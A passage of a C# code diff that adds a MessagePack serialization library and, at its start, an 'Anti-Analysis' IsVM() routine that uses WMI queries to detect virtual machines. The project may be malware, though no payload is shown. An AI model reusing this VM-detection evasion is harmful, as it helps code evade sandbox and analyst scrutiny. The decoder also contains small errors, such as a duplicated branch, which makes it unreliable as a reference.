}
|
||||
|
||||
[DllImport("kernel32", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
#endregion
|
||||
|
||||
#region Anti-Analysis
|
||||
|
||||
public static bool IsVM()
|
||||
{
|
||||
//true for VM
|
||||
return !((from o in new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem").Get()
|
||||
.OfType<ManagementObject>()
|
||||
select (uint)o.GetPropertyValue("ProductType")).First() != 1U ||
|
||||
!(new ManagementObjectSearcher("Select * from CIM_Memory").Get().OfType<ManagementObject>()
|
||||
.ToList()
|
||||
.Count < 2));
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -0,0 +1,93 @@
|
|||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace MessagePack
|
||||
{
|
||||
public class BytesTools
|
||||
{
|
||||
private static UTF8Encoding utf8Encode = new UTF8Encoding();
|
||||
|
||||
public static byte[] GetUtf8Bytes(string s)
|
||||
{
|
||||
if (s == null) return null;
|
||||
return utf8Encode.GetBytes(s);
|
||||
}
|
||||
|
||||
public static string GetString(byte[] utf8Bytes)
|
||||
{
|
||||
return utf8Encode.GetString(utf8Bytes);
|
||||
}
|
||||
|
||||
public static string BytesAsString(byte[] bytes)
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
foreach (var b in bytes) sb.Append($"{b:D3} ");
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
|
||||
public static string BytesAsHexString(byte[] bytes)
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
foreach (var b in bytes) sb.Append($"{b:X2} ");
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 交换byte数组数据
|
||||
/// 可用于高低数据交换
|
||||
/// </summary>
|
||||
/// <param name="v">要交换的byte数组</param>
|
||||
/// <returns>返回交换后的数据</returns>
|
||||
public static byte[] SwapBytes(byte[] v)
|
||||
{
|
||||
var r = new byte[v.Length];
|
||||
var j = v.Length - 1;
|
||||
for (var i = 0; i < r.Length; i++)
|
||||
{
|
||||
r[i] = v[j];
|
||||
j--;
|
||||
}
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
public static byte[] SwapInt64(long v)
|
||||
{
|
||||
//byte[] r = new byte[8];
|
||||
//r[7] = (byte)v;
|
||||
//r[6] = (byte)(v >> 8);
|
||||
//r[5] = (byte)(v >> 16);
|
||||
//r[4] = (byte)(v >> 24);
|
||||
//r[3] = (byte)(v >> 32);
|
||||
//r[2] = (byte)(v >> 40);
|
||||
//r[1] = (byte)(v >> 48);
|
||||
//r[0] = (byte)(v >> 56);
|
||||
return SwapBytes(BitConverter.GetBytes(v));
|
||||
}
|
||||
|
||||
public static byte[] SwapInt32(int v)
|
||||
{
|
||||
var r = new byte[4];
|
||||
r[3] = (byte) v;
|
||||
r[2] = (byte) (v >> 8);
|
||||
r[1] = (byte) (v >> 16);
|
||||
r[0] = (byte) (v >> 24);
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
public static byte[] SwapInt16(short v)
|
||||
{
|
||||
var r = new byte[2];
|
||||
r[1] = (byte) v;
|
||||
r[0] = (byte) (v >> 8);
|
||||
return r;
|
||||
}
|
||||
|
||||
public static byte[] SwapDouble(double v)
|
||||
{
|
||||
return SwapBytes(BitConverter.GetBytes(v));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,878 @@
|
|||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace MessagePack
|
||||
{
|
||||
public class MsgPackEnum : IEnumerator
|
||||
{
|
||||
private List<MsgPack> children;
|
||||
private int position = -1;
|
||||
|
||||
public MsgPackEnum(List<MsgPack> obj)
|
||||
{
|
||||
children = obj;
|
||||
}
|
||||
|
||||
object IEnumerator.Current => children[position];
|
||||
|
||||
bool IEnumerator.MoveNext()
|
||||
{
|
||||
position++;
|
||||
return position < children.Count;
|
||||
}
|
||||
|
||||
void IEnumerator.Reset()
|
||||
{
|
||||
position = -1;
|
||||
}
|
||||
}
|
||||
|
||||
public class MsgPackArray
|
||||
{
|
||||
private List<MsgPack> children;
|
||||
private MsgPack owner;
|
||||
|
||||
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
|
||||
{
|
||||
owner = msgpackObj;
|
||||
children = listObj;
|
||||
}
|
||||
|
||||
public MsgPack Add()
|
||||
{
|
||||
return owner.AddArrayChild();
|
||||
}
|
||||
|
||||
public MsgPack Add(string value)
|
||||
{
|
||||
var obj = owner.AddArrayChild();
|
||||
obj.AsString = value;
|
||||
return obj;
|
||||
}
|
||||
|
||||
public MsgPack Add(long value)
|
||||
{
|
||||
var obj = owner.AddArrayChild();
|
||||
obj.SetAsInteger(value);
|
||||
return obj;
|
||||
}
|
||||
|
||||
public MsgPack Add(double value)
|
||||
{
|
||||
var obj = owner.AddArrayChild();
|
||||
obj.SetAsFloat(value);
|
||||
return obj;
|
||||
}
|
||||
|
||||
public MsgPack this[int index] => children[index];
|
||||
|
||||
public int Length => children.Count;
|
||||
}
|
||||
|
||||
public class MsgPack : IEnumerable
|
||||
{
|
||||
private string name;
|
||||
private string lowerName;
|
||||
private object innerValue;
|
||||
private MsgPackType valueType;
|
||||
private MsgPack parent;
|
||||
private List<MsgPack> children = new List<MsgPack>();
|
||||
private MsgPackArray refAsArray;
|
||||
|
||||
private void SetName(string value)
|
||||
{
|
||||
name = value;
|
||||
lowerName = name.ToLower();
|
||||
}
|
||||
|
||||
private void Clear()
|
||||
{
|
||||
for (var i = 0; i < children.Count; i++) children[i].Clear();
|
||||
children.Clear();
|
||||
}
|
||||
|
||||
private MsgPack InnerAdd()
|
||||
{
|
||||
var r = new MsgPack
|
||||
{
|
||||
parent = this
|
||||
};
|
||||
children.Add(r);
|
||||
return r;
|
||||
}
|
||||
|
||||
private int IndexOf(string name)
|
||||
{
|
||||
var i = -1;
|
||||
var r = -1;
|
||||
|
||||
var tmp = name.ToLower();
|
||||
foreach (var item in children)
|
||||
{
|
||||
i++;
|
||||
if (tmp.Equals(item.lowerName))
|
||||
{
|
||||
r = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
public MsgPack FindObject(string name)
|
||||
{
|
||||
var i = IndexOf(name);
|
||||
if (i == -1)
|
||||
return null;
|
||||
return children[i];
|
||||
}
|
||||
|
||||
|
||||
private MsgPack InnerAddMapChild()
|
||||
{
|
||||
if (valueType != MsgPackType.Map)
|
||||
{
|
||||
Clear();
|
||||
valueType = MsgPackType.Map;
|
||||
}
|
||||
|
||||
return InnerAdd();
|
||||
}
|
||||
|
||||
private MsgPack InnerAddArrayChild()
|
||||
{
|
||||
if (valueType != MsgPackType.Array)
|
||||
{
|
||||
Clear();
|
||||
valueType = MsgPackType.Array;
|
||||
}
|
||||
|
||||
return InnerAdd();
|
||||
}
|
||||
|
||||
public MsgPack AddArrayChild()
|
||||
{
|
||||
return InnerAddArrayChild();
|
||||
}
|
||||
|
||||
private void WriteMap(Stream ms)
|
||||
{
|
||||
byte b;
|
||||
byte[] lenBytes;
|
||||
var len = children.Count;
|
||||
if (len <= 15)
|
||||
{
|
||||
b = (byte) (0x80 + (byte) len);
|
||||
ms.WriteByte(b);
|
||||
}
|
||||
else if (len <= 65535)
|
||||
{
|
||||
b = 0xDE;
|
||||
ms.WriteByte(b);
|
||||
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((short) len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
else
|
||||
{
|
||||
b = 0xDF;
|
||||
ms.WriteByte(b);
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes(len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
|
||||
for (var i = 0; i < len; i++)
|
||||
{
|
||||
WriteTools.WriteString(ms, children[i].name);
|
||||
children[i].Encode2Stream(ms);
|
||||
}
|
||||
}
|
||||
|
||||
private void WirteArray(Stream ms)
|
||||
{
|
||||
byte b;
|
||||
byte[] lenBytes;
|
||||
var len = children.Count;
|
||||
if (len <= 15)
|
||||
{
|
||||
b = (byte) (0x90 + (byte) len);
|
||||
ms.WriteByte(b);
|
||||
}
|
||||
else if (len <= 65535)
|
||||
{
|
||||
b = 0xDC;
|
||||
ms.WriteByte(b);
|
||||
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((short) len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
else
|
||||
{
|
||||
b = 0xDD;
|
||||
ms.WriteByte(b);
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes(len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
|
||||
|
||||
for (var i = 0; i < len; i++) children[i].Encode2Stream(ms);
|
||||
}
|
||||
|
||||
public void SetAsInteger(long value)
|
||||
{
|
||||
innerValue = value;
|
||||
valueType = MsgPackType.Integer;
|
||||
}
|
||||
|
||||
public void SetAsUInt64(ulong value)
|
||||
{
|
||||
innerValue = value;
|
||||
valueType = MsgPackType.UInt64;
|
||||
}
|
||||
|
||||
public ulong GetAsUInt64()
|
||||
{
|
||||
switch (valueType)
|
||||
{
|
||||
case MsgPackType.Integer:
|
||||
return Convert.ToUInt64((long) innerValue);
|
||||
case MsgPackType.UInt64:
|
||||
return (ulong) innerValue;
|
||||
case MsgPackType.String:
|
||||
return ulong.Parse(innerValue.ToString().Trim());
|
||||
case MsgPackType.Float:
|
||||
return Convert.ToUInt64((double) innerValue);
|
||||
case MsgPackType.Single:
|
||||
return Convert.ToUInt64((float) innerValue);
|
||||
case MsgPackType.DateTime:
|
||||
return Convert.ToUInt64((DateTime) innerValue);
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
public long GetAsInteger()
|
||||
{
|
||||
switch (valueType)
|
||||
{
|
||||
case MsgPackType.Integer:
|
||||
return (long) innerValue;
|
||||
case MsgPackType.UInt64:
|
||||
return Convert.ToInt64((long) innerValue);
|
||||
case MsgPackType.String:
|
||||
return long.Parse(innerValue.ToString().Trim());
|
||||
case MsgPackType.Float:
|
||||
return Convert.ToInt64((double) innerValue);
|
||||
case MsgPackType.Single:
|
||||
return Convert.ToInt64((float) innerValue);
|
||||
case MsgPackType.DateTime:
|
||||
return Convert.ToInt64((DateTime) innerValue);
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
public double GetAsFloat()
|
||||
{
|
||||
switch (valueType)
|
||||
{
|
||||
case MsgPackType.Integer:
|
||||
return Convert.ToDouble((long) innerValue);
|
||||
case MsgPackType.String:
|
||||
return double.Parse((string) innerValue);
|
||||
case MsgPackType.Float:
|
||||
return (double) innerValue;
|
||||
case MsgPackType.Single:
|
||||
return (float) innerValue;
|
||||
case MsgPackType.DateTime:
|
||||
return Convert.ToInt64((DateTime) innerValue);
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void SetAsBytes(byte[] value)
|
||||
{
|
||||
innerValue = value;
|
||||
valueType = MsgPackType.Binary;
|
||||
}
|
||||
|
||||
public byte[] GetAsBytes()
|
||||
{
|
||||
switch (valueType)
|
||||
{
|
||||
case MsgPackType.Integer:
|
||||
return BitConverter.GetBytes((long) innerValue);
|
||||
case MsgPackType.String:
|
||||
return BytesTools.GetUtf8Bytes(innerValue.ToString());
|
||||
case MsgPackType.Float:
|
||||
return BitConverter.GetBytes((double) innerValue);
|
||||
case MsgPackType.Single:
|
||||
return BitConverter.GetBytes((float) innerValue);
|
||||
case MsgPackType.DateTime:
|
||||
var dateval = ((DateTime) innerValue).ToBinary();
|
||||
return BitConverter.GetBytes(dateval);
|
||||
case MsgPackType.Binary:
|
||||
return (byte[]) innerValue;
|
||||
default:
|
||||
return new byte[] { };
|
||||
}
|
||||
}
|
||||
|
||||
public void Add(string key, string value)
|
||||
{
|
||||
var tmp = InnerAddArrayChild();
|
||||
tmp.name = key;
|
||||
tmp.SetAsString(value);
|
||||
}
|
||||
|
||||
public void Add(string key, int value)
|
||||
{
|
||||
var tmp = InnerAddArrayChild();
|
||||
tmp.name = key;
|
||||
tmp.SetAsInteger(value);
|
||||
}
|
||||
|
||||
public bool LoadFileAsBytes(string fileName)
|
||||
{
|
||||
if (File.Exists(fileName))
|
||||
{
|
||||
byte[] value = null;
|
||||
var fs = new FileStream(fileName, FileMode.Open);
|
||||
value = new byte[fs.Length];
|
||||
fs.Read(value, 0, (int) fs.Length);
|
||||
fs.Close();
|
||||
SetAsBytes(value);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public bool SaveBytesToFile(string fileName)
|
||||
{
|
||||
if (innerValue != null)
|
||||
{
|
||||
var fs = new FileStream(fileName, FileMode.Append);
|
||||
fs.Write((byte[]) innerValue, 0, ((byte[]) innerValue).Length);
|
||||
fs.Close();
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public MsgPack ForcePathObject(string path)
|
||||
{
|
||||
MsgPack tmpParent, tmpObject;
|
||||
tmpParent = this;
|
||||
var pathList = path.Trim().Split('.', '/', '\\');
|
||||
string tmp = null;
|
||||
if (pathList.Length == 0)
|
||||
return null;
|
||||
if (pathList.Length > 1)
|
||||
for (var i = 0; i < pathList.Length - 1; i++)
|
||||
{
|
||||
tmp = pathList[i];
|
||||
tmpObject = tmpParent.FindObject(tmp);
|
||||
if (tmpObject == null)
|
||||
{
|
||||
tmpParent = tmpParent.InnerAddMapChild();
|
||||
tmpParent.SetName(tmp);
|
||||
}
|
||||
else
|
||||
{
|
||||
tmpParent = tmpObject;
|
||||
}
|
||||
}
|
||||
|
||||
tmp = pathList[pathList.Length - 1];
|
||||
var j = tmpParent.IndexOf(tmp);
|
||||
if (j > -1) return tmpParent.children[j];
|
||||
|
||||
tmpParent = tmpParent.InnerAddMapChild();
|
||||
tmpParent.SetName(tmp);
|
||||
return tmpParent;
|
||||
}
|
||||
|
||||
public void SetAsNull()
|
||||
{
|
||||
Clear();
|
||||
innerValue = null;
|
||||
valueType = MsgPackType.Null;
|
||||
}
|
||||
|
||||
public void SetAsString(string value)
|
||||
{
|
||||
innerValue = value;
|
||||
valueType = MsgPackType.String;
|
||||
}
|
||||
|
||||
public string GetAsString()
|
||||
{
|
||||
if (innerValue == null)
|
||||
return "";
|
||||
return innerValue.ToString();
|
||||
}
|
||||
|
||||
public void SetAsBoolean(bool bVal)
|
||||
{
|
||||
valueType = MsgPackType.Boolean;
|
||||
innerValue = bVal;
|
||||
}
|
||||
|
||||
public void SetAsSingle(float fVal)
|
||||
{
|
||||
valueType = MsgPackType.Single;
|
||||
innerValue = fVal;
|
||||
}
|
||||
|
||||
public void SetAsFloat(double fVal)
|
||||
{
|
||||
valueType = MsgPackType.Float;
|
||||
innerValue = fVal;
|
||||
}
|
||||
|
||||
|
||||
public void DecodeFromBytes(byte[] bytes)
|
||||
{
|
||||
var ms = new MemoryStream();
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
}
|
||||
|
||||
public void DecodeFromFile(string fileName)
|
||||
{
|
||||
var fs = new FileStream(fileName, FileMode.Open);
|
||||
DecodeFromStream(fs);
|
||||
fs.Dispose();
|
||||
}
|
||||
|
||||
|
||||
public void DecodeFromStream(Stream ms)
|
||||
{
|
||||
var lvByte = (byte) ms.ReadByte();
|
||||
byte[] rawByte = null;
|
||||
MsgPack msgPack = null;
|
||||
var len = 0;
|
||||
var i = 0;
|
||||
|
||||
if (lvByte <= 0x7F)
|
||||
{
|
||||
//positive fixint 0xxxxxxx 0x00 - 0x7f
|
||||
SetAsInteger(lvByte);
|
||||
}
|
||||
else if (lvByte >= 0x80 && lvByte <= 0x8F)
|
||||
{
|
||||
//fixmap 1000xxxx 0x80 - 0x8f
|
||||
Clear();
|
||||
valueType = MsgPackType.Map;
|
||||
len = lvByte - 0x80;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.SetName(ReadTools.ReadString(ms));
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte >= 0x90 && lvByte <= 0x9F) //fixarray 1001xxxx 0x90 - 0x9f
|
||||
{
|
||||
//fixmap 1000xxxx 0x80 - 0x8f
|
||||
Clear();
|
||||
valueType = MsgPackType.Array;
|
||||
len = lvByte - 0x90;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte >= 0xA0 && lvByte <= 0xBF) // fixstr 101xxxxx 0xa0 - 0xbf
|
||||
{
|
||||
len = lvByte - 0xA0;
|
||||
SetAsString(ReadTools.ReadString(ms, len));
|
||||
}
|
||||
else if (lvByte >= 0xE0 && lvByte <= 0xFF)
|
||||
{
|
||||
/// -1..-32
|
||||
// negative fixnum stores 5-bit negative integer
|
||||
// +--------+
|
||||
// |111YYYYY|
|
||||
// +--------+
|
||||
SetAsInteger((sbyte) lvByte);
|
||||
}
|
||||
else if (lvByte == 0xC0)
|
||||
{
|
||||
SetAsNull();
|
||||
}
|
||||
else if (lvByte == 0xC1)
|
||||
{
|
||||
throw new Exception("(never used) type $c1");
|
||||
}
|
||||
else if (lvByte == 0xC2)
|
||||
{
|
||||
SetAsBoolean(false);
|
||||
}
|
||||
else if (lvByte == 0xC3)
|
||||
{
|
||||
SetAsBoolean(true);
|
||||
}
|
||||
else if (lvByte == 0xC4)
|
||||
{
|
||||
// max 255
|
||||
len = ms.ReadByte();
|
||||
rawByte = new byte[len];
|
||||
ms.Read(rawByte, 0, len);
|
||||
SetAsBytes(rawByte);
|
||||
}
|
||||
else if (lvByte == 0xC5)
|
||||
{
|
||||
// max 65535
|
||||
rawByte = new byte[2];
|
||||
ms.Read(rawByte, 0, 2);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToUInt16(rawByte, 0);
|
||||
|
||||
// read binary
|
||||
rawByte = new byte[len];
|
||||
ms.Read(rawByte, 0, len);
|
||||
SetAsBytes(rawByte);
|
||||
}
|
||||
else if (lvByte == 0xC6)
|
||||
{
|
||||
// binary max: 2^32-1
|
||||
rawByte = new byte[4];
|
||||
ms.Read(rawByte, 0, 4);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToInt32(rawByte, 0);
|
||||
|
||||
// read binary
|
||||
rawByte = new byte[len];
|
||||
ms.Read(rawByte, 0, len);
|
||||
SetAsBytes(rawByte);
|
||||
}
|
||||
else if (lvByte == 0xC7 || lvByte == 0xC8 || lvByte == 0xC9)
|
||||
{
|
||||
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
|
||||
}
|
||||
else if (lvByte == 0xCA)
|
||||
{
|
||||
// float 32
|
||||
rawByte = new byte[4];
|
||||
ms.Read(rawByte, 0, 4);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
|
||||
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xCB)
|
||||
{
|
||||
// float 64
|
||||
rawByte = new byte[8];
|
||||
ms.Read(rawByte, 0, 8);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xCC)
|
||||
{
|
||||
// uint8
|
||||
// uint 8 stores a 8-bit unsigned integer
|
||||
// +--------+--------+
|
||||
// | 0xcc |ZZZZZZZZ|
|
||||
// +--------+--------+
|
||||
lvByte = (byte) ms.ReadByte();
|
||||
SetAsInteger(lvByte);
|
||||
}
|
||||
else if (lvByte == 0xCD)
|
||||
{
|
||||
// uint16
|
||||
// uint 16 stores a 16-bit big-endian unsigned integer
|
||||
// +--------+--------+--------+
|
||||
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
|
||||
// +--------+--------+--------+
|
||||
rawByte = new byte[2];
|
||||
ms.Read(rawByte, 0, 2);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xCE)
|
||||
{
|
||||
// uint 32 stores a 32-bit big-endian unsigned integer
|
||||
// +--------+--------+--------+--------+--------+
|
||||
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
|
||||
// +--------+--------+--------+--------+--------+
|
||||
rawByte = new byte[4];
|
||||
ms.Read(rawByte, 0, 4);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xCF)
|
||||
{
|
||||
// uint 64 stores a 64-bit big-endian unsigned integer
|
||||
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
|
||||
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
|
||||
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
|
||||
rawByte = new byte[8];
|
||||
ms.Read(rawByte, 0, 8);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xDC)
|
||||
{
|
||||
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
|
||||
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
rawByte = new byte[2];
|
||||
ms.Read(rawByte, 0, 2);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToUInt16(rawByte, 0);
|
||||
|
||||
Clear();
|
||||
valueType = MsgPackType.Array;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte == 0xDD)
|
||||
{
|
||||
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
|
||||
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
rawByte = new byte[4];
|
||||
ms.Read(rawByte, 0, 4);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToUInt16(rawByte, 0);
|
||||
|
||||
Clear();
|
||||
valueType = MsgPackType.Array;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte == 0xD9)
|
||||
{
|
||||
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
|
||||
// +--------+--------+========+
|
||||
// | 0xd9 |YYYYYYYY| data |
|
||||
// +--------+--------+========+
|
||||
SetAsString(ReadTools.ReadString(lvByte, ms));
|
||||
}
|
||||
else if (lvByte == 0xDE)
|
||||
{
|
||||
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
|
||||
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
rawByte = new byte[2];
|
||||
ms.Read(rawByte, 0, 2);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToUInt16(rawByte, 0);
|
||||
|
||||
Clear();
|
||||
valueType = MsgPackType.Map;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.SetName(ReadTools.ReadString(ms));
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte == 0xDE)
|
||||
{
|
||||
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
|
||||
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
rawByte = new byte[2];
|
||||
ms.Read(rawByte, 0, 2);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToUInt16(rawByte, 0);
|
||||
|
||||
Clear();
|
||||
valueType = MsgPackType.Map;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.SetName(ReadTools.ReadString(ms));
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte == 0xDF)
|
||||
{
|
||||
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
|
||||
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
|
||||
rawByte = new byte[4];
|
||||
ms.Read(rawByte, 0, 4);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
len = BitConverter.ToInt32(rawByte, 0);
|
||||
|
||||
Clear();
|
||||
valueType = MsgPackType.Map;
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
msgPack = InnerAdd();
|
||||
msgPack.SetName(ReadTools.ReadString(ms));
|
||||
msgPack.DecodeFromStream(ms);
|
||||
}
|
||||
}
|
||||
else if (lvByte == 0xDA)
|
||||
{
|
||||
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
|
||||
// +--------+--------+--------+========+
|
||||
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
|
||||
// +--------+--------+--------+========+
|
||||
SetAsString(ReadTools.ReadString(lvByte, ms));
|
||||
}
|
||||
else if (lvByte == 0xDB)
|
||||
{
|
||||
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
|
||||
// +--------+--------+--------+--------+--------+========+
|
||||
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
|
||||
// +--------+--------+--------+--------+--------+========+
|
||||
SetAsString(ReadTools.ReadString(lvByte, ms));
|
||||
}
|
||||
else if (lvByte == 0xD0)
|
||||
{
|
||||
// int 8 stores a 8-bit signed integer
|
||||
// +--------+--------+
|
||||
// | 0xd0 |ZZZZZZZZ|
|
||||
// +--------+--------+
|
||||
SetAsInteger((sbyte) ms.ReadByte());
|
||||
}
|
||||
else if (lvByte == 0xD1)
|
||||
{
|
||||
// int 16 stores a 16-bit big-endian signed integer
|
||||
// +--------+--------+--------+
|
||||
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
|
||||
// +--------+--------+--------+
|
||||
rawByte = new byte[2];
|
||||
ms.Read(rawByte, 0, 2);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xD2)
|
||||
{
|
||||
// int 32 stores a 32-bit big-endian signed integer
|
||||
// +--------+--------+--------+--------+--------+
|
||||
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
|
||||
// +--------+--------+--------+--------+--------+
|
||||
rawByte = new byte[4];
|
||||
ms.Read(rawByte, 0, 4);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
|
||||
}
|
||||
else if (lvByte == 0xD3)
|
||||
{
|
||||
// int 64 stores a 64-bit big-endian signed integer
|
||||
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
|
||||
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
|
||||
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
|
||||
rawByte = new byte[8];
|
||||
ms.Read(rawByte, 0, 8);
|
||||
rawByte = BytesTools.SwapBytes(rawByte);
|
||||
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Encode2Bytes()
|
||||
{
|
||||
var ms = new MemoryStream();
|
||||
Encode2Stream(ms);
|
||||
var r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int) ms.Length);
|
||||
return r;
|
||||
}
|
||||
|
||||
public void Encode2Stream(Stream ms)
|
||||
{
|
||||
switch (valueType)
|
||||
{
|
||||
case MsgPackType.Unknown:
|
||||
case MsgPackType.Null:
|
||||
WriteTools.WriteNull(ms);
|
||||
break;
|
||||
case MsgPackType.String:
|
||||
WriteTools.WriteString(ms, (string) innerValue);
|
||||
break;
|
||||
case MsgPackType.Integer:
|
||||
WriteTools.WriteInteger(ms, (long) innerValue);
|
||||
break;
|
||||
case MsgPackType.UInt64:
|
||||
WriteTools.WriteUInt64(ms, (ulong) innerValue);
|
||||
break;
|
||||
case MsgPackType.Boolean:
|
||||
WriteTools.WriteBoolean(ms, (bool) innerValue);
|
||||
break;
|
||||
case MsgPackType.Float:
|
||||
WriteTools.WriteFloat(ms, (double) innerValue);
|
||||
break;
|
||||
case MsgPackType.Single:
|
||||
WriteTools.WriteFloat(ms, (float) innerValue);
|
